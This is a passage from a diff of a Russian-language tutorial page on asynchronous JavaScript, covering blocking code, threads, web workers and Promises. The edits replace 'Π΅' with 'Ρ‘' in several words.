+<p>Если Π²Ρ‹ быстро Π½Π°ΠΆΠΌΡ‘Ρ‚Π΅ Π½Π° ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΈ Π·Π°Ρ‚Π΅ΠΌ быстро ΠΊΠ»ΠΈΠΊΠ½ΠΈΡ‚Π΅ Π½Π° Π²Ρ‚ΠΎΡ€ΡƒΡŽ, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ Π½Π΅ появится Π½Π° страницС, ΠΏΠΎΠΊΠ° всС ΠΊΡ€ΡƒΠ³ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ отрисованы. ΠŸΠ΅Ρ€Π²Π°Ρ опСрация Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ ΠΏΠΎΠΊΠ° Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ сама.</p>
<div class="blockIndicator note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π₯ΠΎΡ€ΠΎΡˆΠΎ, Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ нСкрасивом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ эффСкт Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠ±Ρ‰ΡƒΡŽ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒΒ  ΠΏΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ всС врСмя приходится Π±ΠΎΡ€ΠΎΡ‚ΡŒΡΡ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π₯ΠΎΡ€ΠΎΡˆΠΎ, Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ нСкрасивом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ эффСкт Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠ±Ρ‰ΡƒΡŽ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒΒ  ΠΏΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ всС врСмя приходится Π±ΠΎΡ€ΠΎΡ‚ΡŒΡΡ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ.</p>
</div>
<p>ΠŸΠΎΡ‡Π΅ΠΌΡƒ Ρ‚Π°ΠΊ происходит? ΠŸΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ JavaScript, Π² ΠΎΠ±Ρ‰Π΅ΠΌ случаС, выполняСт ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π² <strong>ΠΎΠ΄Π½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅</strong>. ΠŸΡ€ΠΈΡˆΠ»ΠΎ врСмя ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ с понятиСм <strong>ΠΏΠΎΡ‚ΠΎΠΊΠ°</strong>.</p>
@@ -117,7 +117,7 @@ Thread 2: Task C --&gt; Task D</pre>
<pre class="notranslate">Main thread: Render circles to canvas --&gt; Display alert()</pre>
-<p>Π’ ΠΈΡ‚ΠΎΠ³Π΅, JavaScript ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» нСсколько инструмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π² Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ. <a href="/en-US/docs/Web/API/Web_Workers_API">Web workers</a> ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π°ΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ JavaScript ΠΊΠΎΠ΄ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ называСтся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ JavaScript ΠΊΠΎΠ΄Π° ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ. Π’ основном, Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²ΠΎΡ€ΠΊΠ΅Ρ€Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ рСсурсоСмкий процСсс, ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚ основного ΠΏΠΎΡ‚ΠΎΠΊΠ°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ дСйствия ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
+<p>Π’ ΠΈΡ‚ΠΎΠ³Π΅, JavaScript ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» нСсколько инструмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π² Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ. <a href="/en-US/docs/Web/API/Web_Workers_API">Web workers</a> ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π°ΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ JavaScript ΠΊΠΎΠ΄ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ называСтся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ JavaScript ΠΊΠΎΠ΄Π° ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ. Π’ основном, Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²ΠΎΡ€ΠΊΠ΅Ρ€Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ рСсурсоёмкий процСсс, ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚ основного ΠΏΠΎΡ‚ΠΎΠΊΠ°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ дСйствия ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
<pre class="notranslate"> Main thread: Task A --&gt; Task C
Worker thread: Expensive task B</pre>
@@ -128,18 +128,18 @@ Worker thread: Expensive task B</pre>
<p>Π’ΠΎΡ€ΠΊΠ΅Ρ€Ρ‹ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΉ инструмСнт, Π½ΠΎ Ρƒ Π½ΠΈΡ… Π΅ΡΡ‚ΡŒ свои ограничСния. БамоС сущСствСнноС, Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ доступа ΠΊ {{Glossary("DOM")}} β€” Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²ΠΎΡ€ΠΊΠ΅Ρ€ для обновлСния UI. ΠœΡ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠΈΠ»Π»ΠΈΠΎΠ½ Π½Π°ΡˆΠΈΡ… Ρ‚ΠΎΡ‡Π΅ΠΊΒ  Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°; ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ большой объСм ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</p>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π΄Π°ΠΆΠ΅ Ссли ΠΊΠΎΠ΄ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½Ρ‹ΠΉ Π² Π²ΠΎΡ€ΠΊΠ΅Ρ€Π΅ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚, ΠΎΠ½ Π² Ρ†Π΅Π»ΠΎΠΌ остаСтся синхронным. Π­Ρ‚ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° появляСтся, ΠΊΠΎΠ³Π΄Π° ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ΡΡ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ выполнСния Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ. Рассмотрим ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡƒ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²:</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π΄Π°ΠΆΠ΅ Ссли ΠΊΠΎΠ΄ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½Ρ‹ΠΉ Π² Π²ΠΎΡ€ΠΊΠ΅Ρ€Π΅ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚, ΠΎΠ½ Π² Ρ†Π΅Π»ΠΎΠΌ остаётся синхронным. Π­Ρ‚ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° появляСтся, ΠΊΠΎΠ³Π΄Π° ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ΡΡ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ выполнСния Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ. Рассмотрим ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡƒ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²:</p>
<pre class="notranslate">Main thread: Task A --&gt; Task B</pre>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ Task A Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ получСния ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ с сСрвСра Π° Task B Π·Π°Ρ‚Π΅ΠΌ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ с ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠΉ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΎΠΉ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, примСняСт ΠΊ Π½Π΅ΠΉ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€. Если Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Task A ΠΈ Ρ‚ΡƒΡ‚ ΠΆΠ΅ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Task B, Ρ‚ΠΎ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ ΠΎΡˆΠΈΠ±ΠΊΡƒ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠ° Π΅Ρ‰Π΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ доступна.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ Task A Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ получСния ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ с сСрвСра Π° Task B Π·Π°Ρ‚Π΅ΠΌ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ с ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠΉ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΎΠΉ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, примСняСт ΠΊ Π½Π΅ΠΉ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€. Если Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Task A ΠΈ Ρ‚ΡƒΡ‚ ΠΆΠ΅ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Task B, Ρ‚ΠΎ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ ΠΎΡˆΠΈΠ±ΠΊΡƒ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠ° Π΅Ρ‰Ρ‘ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ доступна.</p>
<pre class="notranslate"> Main thread: Task A --&gt; Task B --&gt; |Task D|
Worker thread: Task C -----------&gt; | |</pre>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ Task D ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ выполнСния ΠΎΠ±Π΅ΠΈΡ… Π·Π°Π΄Π°Ρ‡ Task B ΠΈ Task C. Если ΠΌΡ‹ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° Π±ΡƒΠ΄ΡƒΡ‚ доступны ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ, Ρ‚ΠΎΠ³Π΄Π° Π½Π΅ Π²ΠΎΠ·Π½ΠΈΠΊΠ½Π΅Ρ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, ΠΎΠ΄Π½Π°ΠΊΠΎ, часто это Π½Π΅ Ρ‚Π°ΠΊ. Если Task D ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎΠ³ΠΎ Π΅ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° Π΅Ρ‰Π΅ Π½Π΅Ρ‚, Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ закончится ошибкой.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ Task D ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ выполнСния ΠΎΠ±Π΅ΠΈΡ… Π·Π°Π΄Π°Ρ‡ Task B ΠΈ Task C. Если ΠΌΡ‹ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° Π±ΡƒΠ΄ΡƒΡ‚ доступны ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ, Ρ‚ΠΎΠ³Π΄Π° Π½Π΅ Π²ΠΎΠ·Π½ΠΈΠΊΠ½Π΅Ρ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, ΠΎΠ΄Π½Π°ΠΊΠΎ, часто это Π½Π΅ Ρ‚Π°ΠΊ. Если Task D ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎΠ³ΠΎ Π΅ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° Π΅Ρ‰Ρ‘ Π½Π΅Ρ‚, Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ закончится ошибкой.</p>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ асинхронно. Π’Π°ΠΊΠΈΠ΅ возмоТности, ΠΊΠ°ΠΊ <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ с сСрвСра), ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒ ΠΏΠΎΠΊΠ° опСрация Π½Π΅ Π²Π΅Ρ€Π½Π΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π·Π°Π΄Π°Ρ‡ΠΈ:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ асинхронно. Π’Π°ΠΊΠΈΠ΅ возмоТности, ΠΊΠ°ΠΊ <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ с сСрвСра), ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒ ΠΏΠΎΠΊΠ° опСрация Π½Π΅ Π²Π΅Ρ€Π½Ρ‘Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π·Π°Π΄Π°Ρ‡ΠΈ:</p>
<pre class="notranslate">Main thread: Task A Task B
Promise: |__async operation__|</pre>
@@ -150,7 +150,7 @@ Worker thread: Task C -----------&gt; | |</pre>
<h2 id="Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h2>
-<p>ΠŸΡ€ΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ соврСмСнных программ всС большС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ асинхронноС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° ΠΈΠΌΠ΅Π»Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ нСсколько ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ Π² ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ Π½Π°Ρ‡Π½Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅, Π±ΠΎΠ»Π΅Π΅ ΠΌΠΎΡ‰Π½Ρ‹Π΅ возмоТности API, Π²Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅ мноТСство ситуаций, Π³Π΄Π΅ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ Π½ΡƒΠΆΠ½ΡƒΡŽ Π·Π°Π΄Π°Ρ‡Ρƒ ΠΌΠΎΠΆΠ½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ асинхронно. РаньшС Π±Ρ‹Π»ΠΎ слоТно ΠΏΠΈΡΠ°Ρ‚ΡŒ асинхронный ΠΊΠΎΠ΄. Π”ΠΎ сих ΠΏΠΎΡ€, Π½ΡƒΠΆΠ½ΠΎ врСмя, Ρ‡Ρ‚ΠΎΠ±Ρ‹ 